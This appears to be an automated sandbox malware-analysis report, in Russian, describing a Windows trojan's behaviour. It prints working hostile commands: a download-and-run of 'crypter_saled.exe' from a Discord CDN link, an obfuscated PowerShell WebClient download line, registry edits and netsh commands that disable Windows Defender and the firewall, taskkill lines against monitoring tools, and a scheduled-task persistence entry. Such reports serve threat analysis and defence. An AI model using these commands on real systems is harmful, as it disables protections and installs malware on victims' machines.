Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\nova
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Загружает и запускает на исполнение
- https://cdn.discordapp.com/attachments/980309803446464552/980318087800827994/crypter_saled.exe
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM ProcessHacker.exe
- '<SYSTEM32>\taskkill.exe' /F /IM SpyTheSpy.exe
- '<SYSTEM32>\taskkill.exe' /F /IM procexp.exe
- '<SYSTEM32>\taskkill.exe' /F /IM cports.exe
- '<SYSTEM32>\taskkill.exe' /F /IM AntiLogger.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MKN TaskExplorer.exe
- '<SYSTEM32>\taskkill.exe' /F /IM TCPEye.exe
- '<SYSTEM32>\taskkill.exe' /F /IM apateDNS.exe
- '<SYSTEM32>\taskkill.exe' /F /IM Network Analyzer.exe
- '<SYSTEM32>\taskkill.exe' /F /IM TCPView.exe
- '<SYSTEM32>\taskkill.exe' /F /IM NetworkMiner.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c P^o^w^e^r^S^h^e^l^l^ ^-^c^ ^S^e^t^-^C^o^n^t^e^n^t^ ^$^e^n^v^:^P^u^b^l^i^c^\^c^r^y^p^t^e^r^_^s^a^l^e^d^.^e^x^e^ ^-^V^a^l^u^e^ ^(^N^e^w^-^O^b^j^e^c^t^ ^S^y^s^t^e^m^.^N^e^t^.^W^e^b^C^l^i^e^n^t^...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\crypter_saled.exe
- %TEMP%\explorer.exe
- %LOCALAPPDATA%\tempwin.exe
- %APPDATA%\nova.exe
- %TEMP%\tmpe475.tmp.bat
- nul
Удаляет следующие файлы
- %TEMP%\explorer.exe
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
- 'no####65.ddns.net':1999
TCP
Другие
- 'cd#.##scordapp.com':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK no####65.ddns.net
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%APPDATA%\nova.exe'
- 'C:\users\public\crypter_saled.exe'
- '%TEMP%\explorer.exe'
- '%LOCALAPPDATA%\tempwin.exe'
- '<SYSTEM32>\cmd.exe' /c ren %windir%\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy Microsoft.Windows.SecHealthUI_cw5n1h2txyewy.bak' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_TOASTS_ENABLED" /t REG_DWORD /d 0 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C netsh advfirewall set allprofiles state off' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM NetworkMiner.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM TCPView.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "nova" /tr '"%APPDATA%\nova.exe"' & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM apateDNS.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM TCPEye.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM MKN TaskExplorer.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM AntiLogger.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM cports.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM procexp.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM SpyTheSpy.exe' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM ProcessHacker.exe' (со скрытым окном)
- '%TEMP%\explorer.exe' ' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM Network Analyzer.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c P^o^w^e^r^S^h^e^l^l^ ^-^c^ ^S^e^t^-^C^o^n^t^e^n^t^ ^$^e^n^v^:^P^u^b^l^i^c^\^c^r^y^p^t^e^r^_^s^a^l^e^d^.^e^x^e^ ^-^V^a^l^u^e^ ^(^N^e^w^-^O^b^j^e^c^t^ ^S^y^s^t^e^m^.^N^e^t^.^W^e^b^C^l^i^e^n^t^...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tmpE475.tmp.bat""
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "nova" /tr '"%APPDATA%\nova.exe"' & exit
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_TOASTS_ENABLED" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\timeout.exe' 3
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c ren %windir%\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy Microsoft.Windows.SecHealthUI_cw5n1h2txyewy.bak
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_TOASTS_ENABLED" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /C netsh advfirewall set allprofiles state off
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\schtasks.exe' /create /f /sc onlogon /rl highest /tn "nova" /tr '"%APPDATA%\nova.exe"'
